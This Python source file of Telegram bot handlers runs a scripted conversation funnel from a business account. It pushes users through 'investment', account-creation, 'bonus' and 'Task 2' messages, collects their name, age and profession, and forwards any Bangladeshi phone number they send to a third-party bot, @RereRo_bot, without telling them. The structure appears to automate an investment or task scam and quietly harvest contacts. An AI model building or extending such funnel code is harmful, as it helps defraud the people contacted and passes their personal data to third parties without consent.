"""
Main message handlers + state machine logic.
"""
import asyncio
from datetime import datetime, timedelta
from typing import Optional

from loguru import logger
from telegram import Update, Message
from telegram.ext import ContextTypes
from sqlalchemy import select, update
from sqlalchemy.ext.asyncio import AsyncSession

from config import settings
from bot.database import AsyncSessionLocal
from bot.models import UserState, ConversationLog
from bot import states
from bot.intent import (
    is_investment_intent,
    extract_account_info,
    is_account_info_complete,
    extract_bd_phone,
    is_question,
)
from bot.templates import get_template


# -------------------------------------------------
# Helpers
# -------------------------------------------------
async def get_or_create_user(
    session: AsyncSession,
    user_id: int,
    username: Optional[str] = None,
    first_name: Optional[str] = None,
    last_name: Optional[str] = None,
    business_connection_id: Optional[str] = None,
) -> UserState:
    result = await session.execute(
        select(UserState).where(UserState.user_id == user_id)
    )
    user = result.scalar_one_or_none()
    if user is None:
        user = UserState(
            user_id=user_id,
            username=username,
            first_name=first_name,
            last_name=last_name,
            state=states.NEW,
            context_messages=[],
            business_connection_id=business_connection_id,
        )
        session.add(user)
        await session.commit()
        await session.refresh(user)
        logger.info(f"New user created: {user_id}")
    else:
        # update meta
        if username:
            user.username = username
        if first_name:
            user.first_name = first_name
        if last_name:
            user.last_name = last_name
        if business_connection_id:
            user.business_connection_id = business_connection_id
        await session.commit()
    return user


async def log_event(
    session: AsyncSession,
    user_id: int,
    direction: str,
    content: str,
    username: Optional[str] = None,
    intent: Optional[str] = None,
    triggered_script: Optional[str] = None,
    state_before: Optional[str] = None,
    state_after: Optional[str] = None,
    phone_detected: Optional[str] = None,
    error: Optional[str] = None,
) -> None:
    entry = ConversationLog(
        user_id=user_id,
        username=username,
        direction=direction,
        content=content[:2000],
        intent=intent,
        triggered_script=triggered_script,
        state_before=state_before,
        state_after=state_after,
        phone_detected=phone_detected,
        error=error,
    )
    session.add(entry)
    await session.commit()


def append_context(user: UserState, text: str) -> None:
    ctx = list(user.context_messages or [])
    ctx.append(text[:500])
    # keep only last N
    user.context_messages = ctx[-settings.context_message_limit :]


async def send_business_reply(
    context: ContextTypes.DEFAULT_TYPE,
    chat_id: int,
    text: str,
    business_connection_id: Optional[str] = None,
) -> Optional[Message]:
    """Send a message on behalf of the business account if possible."""
    try:
        kwargs = {"chat_id": chat_id, "text": text}
        if business_connection_id:
            kwargs["business_connection_id"] = business_connection_id
        msg = await context.bot.send_message(**kwargs)
        return msg
    except Exception as e:
        logger.error(f"Failed to send reply to {chat_id}: {e}")
        return None


async def forward_number_to_rerero(
    context: ContextTypes.DEFAULT_TYPE,
    phone: str,
) -> bool:
    """Send only the phone number to @RereRo_bot."""
    try:
        # The bot must be able to message @RereRo_bot.
        # Usually you start a chat with it first, or the bot is added as admin.
        await context.bot.send_message(
            chat_id=f"@{settings.rerero_bot}",
            text=phone,
        )
        logger.info(f"Phone {phone} forwarded to @{settings.rerero_bot}")
        return True
    except Exception as e:
        logger.error(f"Failed to forward number to @{settings.rerero_bot}: {e}")
        return False


# -------------------------------------------------
# Core state machine
# -------------------------------------------------
async def process_message(
    update: Update,
    context: ContextTypes.DEFAULT_TYPE,
) -> None:
    message = update.effective_message
    if not message or not message.text:
        return

    user = update.effective_user
    chat = update.effective_chat
    text = message.text.strip()
    user_id = user.id
    username = user.username
    first_name = user.first_name
    last_name = user.last_name

    # Business connection id (present when bot is acting as business secretary)
    business_connection_id = getattr(message, "business_connection_id", None)

    async with AsyncSessionLocal() as session:
        u = await get_or_create_user(
            session,
            user_id=user_id,
            username=username,
            first_name=first_name,
            last_name=last_name,
            business_connection_id=business_connection_id,
        )

        state_before = u.state
        append_context(u, text)
        u.message_count += 1
        await session.commit()

        await log_event(
            session,
            user_id=user_id,
            direction="in",
            content=text,
            username=username,
            state_before=state_before,
        )

        # ---------- Admin commands ----------
        if user_id == settings.admin_id and text.startswith("/"):
            await handle_admin(update, context, session, text)
            return

        # ---------- State machine ----------
        triggered = None
        intent = None

        # 1. First message → Welcome
        if not u.welcome_sent:
            triggered = settings.welcome_script
            u.welcome_sent = True
            u.state = states.WELCOME_SENT
            intent = "first_message"

        # 2. Investment intent (only once)
        elif not u.invest_sent and is_investment_intent(text, u.context_messages):
            triggered = settings.invest_script
            u.invest_sent = True
            u.state = states.INVESTMENT_DETECTED
            intent = "investment"

        # 3. Account info collection
        elif not u.account_create_sent:
            info = extract_account_info(text, u.context_messages)
            if info.get("name"):
                u.detected_name = info["name"]
            if info.get("age"):
                u.detected_age = info["age"]
            if info.get("profession"):
                u.detected_profession = info["profession"]

            if is_account_info_complete(
                {
                    "name": u.detected_name,
                    "age": u.detected_age,
                    "profession": u.detected_profession,
                }
            ):
                triggered = settings.account_create_script
                u.account_create_sent = True
                u.state = states.ACCOUNT_INFO_DETECTED
                intent = "account_create"
            else:
                # still collecting
                await session.commit()
                return

        # 4. Phone number stage (around 3rd/4th message or after account info)
        elif not u.bonus_sent:
            phone = extract_bd_phone(text)
            if phone:
                u.phone_number = phone
                u.state = states.PHONE_RECEIVED
                intent = "phone_received"

                # Forward to @RereRo_bot
                ok = await forward_number_to_rerero(context, phone)
                if ok:
                    u.state = states.NUMBER_SENT_TO_RERERO
                else:
                    await log_event(
                        session,
                        user_id=user_id,
                        direction="system",
                        content=f"Failed to forward {phone}",
                        error="forward_failed",
                    )

                # Send bonus
                triggered = settings.bonus_script
                u.bonus_sent = True
                u.bonus_sent_at = datetime.utcnow()
                u.state = states.WAITING_80_SECONDS
            else:
                # No phone yet → ask if we are past the early stage
                if (
                    u.message_count >= 3
                    and not u.active_ask_sent
                    and u.account_create_sent
                ):
                    triggered = settings.active_ask_script
                    u.active_ask_sent = True
                    u.state = states.WAITING_FOR_PHONE
                    intent = "ask_phone"

        # 5. After bonus – wait 80 seconds then Task 2
        elif u.bonus_sent and not u.task_2_sent:
            if u.bonus_sent_at is None:
                u.bonus_sent_at = datetime.utcnow()

            elapsed = (datetime.utcnow() - u.bonus_sent_at).total_seconds()
            if elapsed >= settings.bonus_timer_seconds:
                triggered = settings.task_2_script
                u.task_2_sent = True
                u.state = states.DONE
                u.done_at = datetime.utcnow()
                intent = "task_2"
            else:
                # still waiting – do nothing (or you can send a polite wait message)
                remaining = int(settings.bonus_timer_seconds - elapsed)
                logger.debug(f"User {user_id} still in 80s timer, {remaining}s left")
                await session.commit()
                return

        # 6. Done state – possible question handling
        elif u.state in (states.DONE, states.TASK_2_SENT, states.QUESTION_HANDLING):
            if not u.question_sent and is_question(text):
                # only for the next 2-3 messages after done
                if u.done_at and (datetime.utcnow() - u.done_at).total_seconds() < 300:
                    triggered = settings.question_script
                    u.question_sent = True
                    u.state = states.QUESTION_HANDLING
                    intent = "question"

        # ---------- Execute trigger ----------
        if triggered:
            reply_text = get_template(triggered)
            await send_business_reply(
                context,
                chat_id=chat.id,
                text=reply_text,
                business_connection_id=u.business_connection_id or business_connection_id,
            )
            await log_event(
                session,
                user_id=user_id,
                direction="out",
                content=reply_text[:500],
                username=username,
                intent=intent,
                triggered_script=triggered,
                state_before=state_before,
                state_after=u.state,
                phone_detected=u.phone_number,
            )
            logger.info(
                f"User {user_id} | {state_before} → {u.state} | triggered {triggered}"
            )

        await session.commit()


# -------------------------------------------------
# Admin commands
# -------------------------------------------------
async def handle_admin(
    update: Update,
    context: ContextTypes.DEFAULT_TYPE,
    session: AsyncSession,
    text: str,
) -> None:
    cmd = text.split()[0].lower()
    chat_id = update.effective_chat.id

    if cmd == "/status":
        result = await session.execute(select(UserState))
        users = result.scalars().all()
        total = len(users)
        done = sum(1 for u in users if u.state == states.DONE)
        waiting = sum(1 for u in users if u.state == states.WAITING_80_SECONDS)
        msg = (
            f"📊 Bot Status\n\n"
            f"Total users: {total}\n"
            f"Done: {done}\n"
            f"Waiting 80s: {waiting}\n"
            f"Admin ID: {settings.admin_id}"
        )
        await context.bot.send_message(chat_id=chat_id, text=msg)

    elif cmd == "/user" and len(text.split()) > 1:
        try:
            uid = int(text.split()[1])
            result = await session.execute(
                select(UserState).where(UserState.user_id == uid)
            )
            u = result.scalar_one_or_none()
            if not u:
                await context.bot.send_message(chat_id=chat_id, text="User not found")
                return
            msg = (
                f"👤 User {uid}\n"
                f"Username: @{u.username}\n"
                f"State: {u.state}\n"
                f"Messages: {u.message_count}\n"
                f"Phone: {u.phone_number or '-'}\n"
                f"Name: {u.detected_name or '-'}\n"
                f"Age: {u.detected_age or '-'}\n"
                f"Profession: {u.detected_profession or '-'}\n"
                f"Welcome: {u.welcome_sent}\n"
                f"Invest: {u.invest_sent}\n"
                f"Account: {u.account_create_sent}\n"
                f"Bonus: {u.bonus_sent}\n"
                f"Task2: {u.task_2_sent}\n"
                f"Bonus at: {u.bonus_sent_at}"
            )
            await context.bot.send_message(chat_id=chat_id, text=msg)
        except ValueError:
            await context.bot.send_message(chat_id=chat_id, text="Usage: /user <id>")

    elif cmd == "/reset" and len(text.split()) > 1:
        try:
            uid = int(text.split()[1])
            result = await session.execute(
                select(UserState).where(UserState.user_id == uid)
            )
            u = result.scalar_one_or_none()
            if u:
                await session.delete(u)
                await session.commit()
                await context.bot.send_message(
                    chat_id=chat_id, text=f"User {uid} reset."
                )
            else:
                await context.bot.send_message(chat_id=chat_id, text="User not found")
        except ValueError:
            await context.bot.send_message(chat_id=chat_id, text="Usage: /reset <id>")

    elif cmd == "/help":
        help_text = (
            "🛠 Admin Commands\n\n"
            "/status – overall stats\n"
            "/user <id> – inspect a user\n"
            "/reset <id> – delete user state\n"
            "/help – this message"
        )
        await context.bot.send_message(chat_id=chat_id, text=help_text)

    else:
        await context.bot.send_message(
            chat_id=chat_id, text="Unknown admin command. /help"
        )